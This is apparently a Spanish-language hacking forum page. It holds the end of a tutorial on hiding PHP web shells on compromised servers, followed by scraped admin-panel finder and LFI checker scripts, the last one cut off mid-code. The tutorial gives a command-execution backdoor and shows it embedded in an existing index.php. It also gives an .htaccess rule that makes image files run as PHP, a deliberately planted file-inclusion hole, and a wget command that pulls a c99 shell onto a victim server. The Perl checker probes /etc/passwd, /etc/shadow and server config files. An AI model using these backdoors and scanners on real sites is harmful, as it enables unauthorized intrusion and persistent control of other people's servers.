se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi

Código: php
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>



esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo

y lo ejecutariamos asi

Código: php
www.dondeestemontado.com/test.php?comando=dir&activeshell=activar


Bueno aqui acaba este listado de tips... y de teoria... espere les guste.


0x08 Preguntas de otros foros




ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..

R

digamos q esta es su shell

Código: php
<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>



y este es el index.php

Código: php
<?php
echo "Lo que sea";
?>




hay varias formas ... por un lado esta una que es simplemente:

Código: php
<?php
echo "Lo que sea";
?>

<?php
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>


o

Código: php
<?php
echo "Lo que sea";

if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>





p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger... 



edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿

R:


si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.

la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)

con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo

Código: php
<Files *.jpg> 
ForceType application/x-httpd-php
</Files>



eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.

psdta: buena pregunta, con esto complementare el tuto :D



la otra que se me ocurre es que causemos un lfi aproposito asi:

Código: php
<?php
if(!empty($_GET['file'])){
include $_GET['file'];
}
?>



y podremos incluir nuestra shell asi.

Código: php
http://www.victim.com/filewithlfi.php?file=shell.jpg



lo que hara que se incluya la supuesta imagen y se ejecute el php.




C3llu5 hackxcrack

tengo una pregunta

enkontre una web vulnerable, y logre subir un  X texto para komprebar si me dejaba,

haora e intentado subir una shell , pero haora mi problem  es el peso de la shell,  no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,

pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,

R:

man, que SO tiene el servidor?

podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)

o puede intentar subir un archivo php que ejecute esto

Código: php
wget www.server.com/c99.txt;chmod 777 c99.txt;mv c99.txt shell.php


donde
Código: php
www.server.com/c99.txt

es la ubicacion de tu shell
y ya despues accedes a:

Código: php
www.victim.com/shell.php






0x10 Conclusiones



Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades


0x10 Agrecimiento



Agradezco a Cygog por sacarme de un par de dudas :D.
y a todos los q preguntan porq asi se complementa el tutorial.

Psdts
si ven errores o alguna bestialidad les agradezco me informen ;D

Continuara...
by _84kur10_
#57
Bugs y Exploits / Admin Finder By _84kur10_
Febrero 24, 2010, 03:15:17 PM
Les dejo mi buscador de admin login, falta mejorarlo para q sea mas rapido, pero = funciona


Código: php

<?php

echo
"
###########     Admin Finder      By _84kur10_- ############
#                                                          #
#        Buscador de admin logins                          #
#        Automatiza la busqueda de logueos                 #
#                                                          #
#                                                          #
#==========================================================#
#  Usage: php loginFinder.php http://www.website.com       #
#                                                          #
############################################################\n\n";
function loadData()
{
$fp = "admin.txt";
$strs=file($fp);
return $strs;
}
$admins=loadData();

foreach($admins as $index => $test)
{

$url=$argv[1].'/'.trim($test);
if($result=@file_get_contents($url))
echo "posible logueo encontrado ".$argv[1].'/'.$test;
}



?>



admin.txt
Código: php

admin1.php
admin1.html
admin2.php
admin2.html
admin.php
yonetim.php
yonetim.html
yonetici.php
yonetici.html
adm/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/

#58
Bugs y Exploits / LFI-Checker by Guason
Febrero 24, 2010, 03:13:50 PM
Código: php

#Name program = LFI-CHECKER
#Version = 0.1
#Autor = Guason
#Funcion del programa = Busca vulnerabilidad LFI probando con paths posibles

use LWP::Simple;

@paths = ('/etc/passwd',
'../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../etc/passwd%00',
'../../etc/passwd%00',
'../../../etc/passwd%00',
'../../../../etc/passwd%00',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd%00',
'/etc/passwd',
'/etc/shadow',
'/etc/group',
'/etc/security/group',
'/etc/security/passwd',
'/etc/security/user',
'/etc/security/environ',
'/etc/security/limits',
'/usr/lib/security/mkuser.default',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_ log',
'/usr/local/apache/logs/access. log',
'/var/log/apache/access_log',
'/var/log/apache2/access_log',
'/var/log/apache/access.log',
'/var/log/apache2/access.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache2/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/error.log',
'/var/log/error_log',
'/var/log/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/usr/local/apache2/logs/access_log',
'/usr/local/apache2/logs/access.log',
'/usr/local/apache2/logs/error_log',
'/usr/local/apache2/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/access.log',
'/var/log/httpd/error_log',
'/var/log/httpd/error.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/access_log',
'/var/log/apache2/access.log',
'/var/log/apache2/error_log',
'/var/log/apache2/error.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/log/error_log',
'/var/log/error.log',
'/opt/lampp/logs/access_log',
'/opt/lampp/logs/error_log',
'/opt/xampp/logs/access_log',
'/opt/xampp/logs/error_log',
'/opt/lampp/logs/access.log',
'/opt/lampp/logs/error.log',
'/opt/xampp/logs/access.log',
'/opt/xampp/logs/error.log',
'/Program Files\Apache Group\Apache\logs\access.log',
'/Program Files\Apache Group\Apache\logs\error.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/access_log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/access_log',
'/var/log/error_log',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/usr/local/apache/httpd.conf',
'/usr/local/apache2/httpd.conf',
'/usr/local/httpd/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache2/conf/httpd.conf',
'/usr/local/etc/httpd/conf/httpd.conf',
'/usr/apache2/conf/httpd.conf',
'/usr/apache/conf/httpd.conf',
'/usr/local/apps/apache2/conf/httpd.conf',
'/usr/local/apps/apache/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/etc/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/http/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/etc/httpd/httpd.conf',
'/etc/http/httpd.conf',
'/etc/httpd.conf',
'/opt/apache/conf/httpd.conf',
'/opt/apache2/conf/httpd.conf',
'/var/www/conf/httpd.conf',
'/private/etc/httpd/httpd.conf',
'/private/etc/httpd/httpd.conf.default',
'/Volumes/webBackup/opt/apache2/conf/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
'/Program Files\Apache Group\Apache\conf\httpd.conf',
'/Program Files\Apache Group\Apache2\conf\httpd.conf',
'/Program Files\xampp\apache\conf\httpd.conf',
'/usr/local/php/httpd.conf.php',
'/usr/local/php4/httpd.conf.php',
'/usr/local/php5/httpd.conf.php',
'/usr/local/php/httpd.conf',
'/usr/local/php4/httpd.conf',
'/usr/local/php5/httpd.conf',
'/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
'/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
'/usr/local/etc/apache/vhosts.conf',
'/etc/php.ini',
'/bin/php.ini',
'/etc/httpd/php.ini',
'/usr/lib/php.ini',
'/usr/lib/php/php.ini',
'/usr/local/etc/php.ini',
'/usr/local/lib/php.ini',
'/usr/local/php/lib/php.ini',
'/usr/local/php4/lib/php.ini',
'/usr/local/php5/lib/php.ini',
'/usr/local/apache/conf/php.ini',
'/etc/php4.4/fcgi/php.ini',
'/etc/php4/apache/php.ini',
'/etc/php4/apache2/php.ini',
'/etc/php5/apache/php.ini',
'/etc/php5/apache2/php.ini',
'/etc/php/php.ini',
'/etc/php/php4/php.ini',
'/etc/php/apache/php.ini',
'/etc/php/apache2/php.ini',
'/web/conf/php.ini',
'/usr/local/Zend/etc/php.ini',
'/opt/xampp/etc/php.ini',
'/var/local/www/conf/php.ini',
'/etc/php/cgi/php.ini',
'/etc/php4/cgi/php.ini',
'/etc/php5/cgi/php.ini',
'/php5\php.ini',
'/php4\php.ini',
'/php\php.ini',
'/PHP\php.ini',
'/WINDOWS\php.ini',
'/WINNT\php.ini',
'/apache\php\php.ini',
'/xampp\apache\bin\php.ini',
'/NetServer\bin\stable\apache\php.ini',
'/home2\bin\stable\apache\php.ini',
'/home\bin\stable\apache\php.ini',
'/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
'/usr/local/cpanel/logs',
'/usr/local/cpanel/logs/stats_log',
'/usr/local/cpanel/logs/access_log',
'/usr/local/cpanel/logs/error_log',
'/usr/local/cpanel/logs/license_log',
'/usr/local/cpanel/logs/login_log',
'/usr/local/cpanel/logs/stats_log',
'/var/cpanel/cpanel.config',
'/var/log/mysql/mysql-bin.log',
'/var/log/mysql.log',
'/var/log/mysqlderror.log',
'/var/log/mysql/mysql.log',
'/var/log/mysql/mysql-slow.log',
'/var/mysql.log',
'/var/lib/mysql/my.cnf',
'/etc/mysql/my.cnf',
'/etc/my.cnf',
'/etc/logrotate.d/proftpd',
'/www/logs/proftpd.system.log',
'/var/log/proftpd',
'/etc/proftp.conf',
'/etc/protpd/proftpd.conf',
'/etc/vhcs2/proftpd/proftpd.conf',
'/etc/proftpd/modules.conf',
'/var/log/vsftpd.log',
'/etc/vsftpd.chroot_list',
'/etc/logrotate.d/vsftpd.log',
'/etc/vsftpd/vsftpd.conf',
'/etc/vsftpd.conf',
'/etc/chrootUsers',
'/var/log/xferlog',
'/var/adm/log/xferlog',
'/etc/wu-ftpd/ftpaccess',
'/etc/wu-ftpd/ftphosts',
'/etc/wu-ftpd/ftpusers',
'/usr/sbin/pure-config.pl',
'/usr/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.conf',
'/usr/local/etc/pure-ftpd.conf',
'/usr/local/etc/pureftpd.pdb',
'/usr/local/pureftpd/etc/pureftpd.pdb',
'/usr/local/pureftpd/sbin/pure-config.pl',
'/usr/local/pureftpd/etc/pure-ftpd.conf',
'-/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.pdb',
'/etc/pureftpd.pdb',
'/etc/pureftpd.passwd',
'/etc/pure-ftpd/pureftpd.pdb',
'/usr/ports/ftp/pure-ftpd/',
'/usr/ports/net/pure-ftpd/',
'/usr/pkgsrc/net/pureftpd/',
'/usr/ports/contrib/pure-ftpd/',
'/var/log/pure-ftpd/pure-ftpd.log',
'/logs/pure-ftpd.log',
'/var/log/pureftpd.log',
'/var/log/ftp-proxy/ftp-proxy.log',
'/var/log/ftp-proxy',
'/var/log/ftplog',
'/etc/logrotate.d/ftp',
'/etc/ftpchroot',
'/etc/ftphosts',
'/var/log/exim_mainlog',
'/var/log/exim/mainlog',
'/var/log/maillog',
'/var/log/exim_paniclog',
'/var/log/exim/paniclog',
'/var/log/exim/rejectlog',
'/var/log/exim_rejectlog');

if (!$ARGV[0]) {
print "\n\nLFI Checker 0.1 by Guason\n\n";
print "\nSintasis = $0 <WEB>\n\n";
print "\n<WEB> = Solamente la web ejemplo = www.macizorras.com\n\n";
print "Written by Guason\n";
exit 1;
}
my $host = $ARGV[0];

print "\n\n###########################SCANEANDO $host###################################################\n\n";

foreach $path(@paths){


print "$path\n";
$weber = $host.$path;

$response=get($weber);

if($response=~ /root:x:/) {
&yeah;
}
}
sub yeah {
print "\n\nSe encontro $path\n\n\n";
}

print "\n\nWritten by Guason || 2009\n\n";
print "\n\nVisita guason-cracker.blogspot.com & infierno-hacking.webcindario.com\n\n";
print "############################END############################################\n";
exit 1;


#Agradecimientos = none = 0
#Email = [email protected]
#Blog = guason-cracker.blogspot.com
#Web = infierno-hacking.webcindario.com
#Good Bye


Fuent: LatinoHack
#59
Código: php
#!/usr/bin/perl

##
# By GlaDiaT0R
# Admin Control Panel Finder ___ Version 1
# Home: Darkgh0st.com
##

use HTTP::Request;
use LWP::UserAgent;

system('cls');
system('title Admin Control Panel Finder v1 final I[C]oded by Gladiator from H4ckCr3w.net');

print"\n";
print "-----------------------------------------------\n" ;
print "[*]--Admin Control Panel Finder v 1 --------[*]\n" ;
print "[*]-------------Coded By GlaDiaT0R----------[*]\n" ;
print "[*]-------------From Darkgh0st.com---------[*]\n" ;
print "[*]------------Greetz to Allah--------------[*]\n" ;
print "*******************************************\n" ;
print "\n";

print "~# enter site to scan\n* ex: www.domaine.com ou www.domaine.com/path\n-> ";
$site=<STDIN>;
chomp $site;

print "\n";
print "~ Enter coding language of the website \n* ex: asp, php, cfm\n-> ";
$code=<STDIN>;
chomp($code);

if ( $site !~ /^http:/ ) {
$site = 'http://' . $site;
}
if ( $site !~ /\/$/ ) {
$site = $site . '/';
}
print "\n";

print "->Le site: $site\n";
print "->Source du site: $code\n";
print "->Scan de l'admin control panel en cours...\n\n\n";

if($code eq "asp"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','

panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp

','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin

/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/inde

x.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.htm

l','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','

modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.

html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','a

dmin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/logi

n.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/a

dmin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','a

dmincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminar

ea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/adm

in.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','we

badmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/logi

n.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp'

,'admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.

asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/inde

x.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin

/index.asp','siteadmin/login.html'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}




# -------------------------------------------------------
# -------------------test cfm ---------------------------|
# -------------------------------------------------------





if($code eq "cfm"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','

panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cf

m','admin/admin.cfm',
'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admi

n/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/inde

x.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.htm

l','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','

modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.

html','panel-administracion/login.html',
'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm',

'admin-login.cfm','admin/cp.cfm','cp.cfm',
'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/log

in.cfm','administrator/login.cfm',
'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/a

dmin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','a

dmincp/login.cfm','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminar

ea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/adm

in.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','w

ebadmin.cfm','webadmin/index.cfm',
'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/lo

gin.cfm','adminLogin.cfm',
'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cf

m','admin-login.html',
'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.

cfm','administrator/index.cfm',
'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/ind

ex.cfm','adm/index.cfm',
'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadm

in/index.cfm','siteadmin/login.html'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}





# -------------------------------------------------------
#--------------------------/test-------------------------|
# -------------------------------------------------------


if($code eq "php"){

@path2=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','

panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/ad

min.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html'

,'admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','ad

min_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/accou

nt.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html

','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/logi

n.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/a

dmin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/

login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.htm

l','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','admin

area/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.ht

ml','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','l

ogin.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.htm

l','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpa

nel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php',

'adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php',

'modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admi

n2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);

foreach $ways(@path2){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
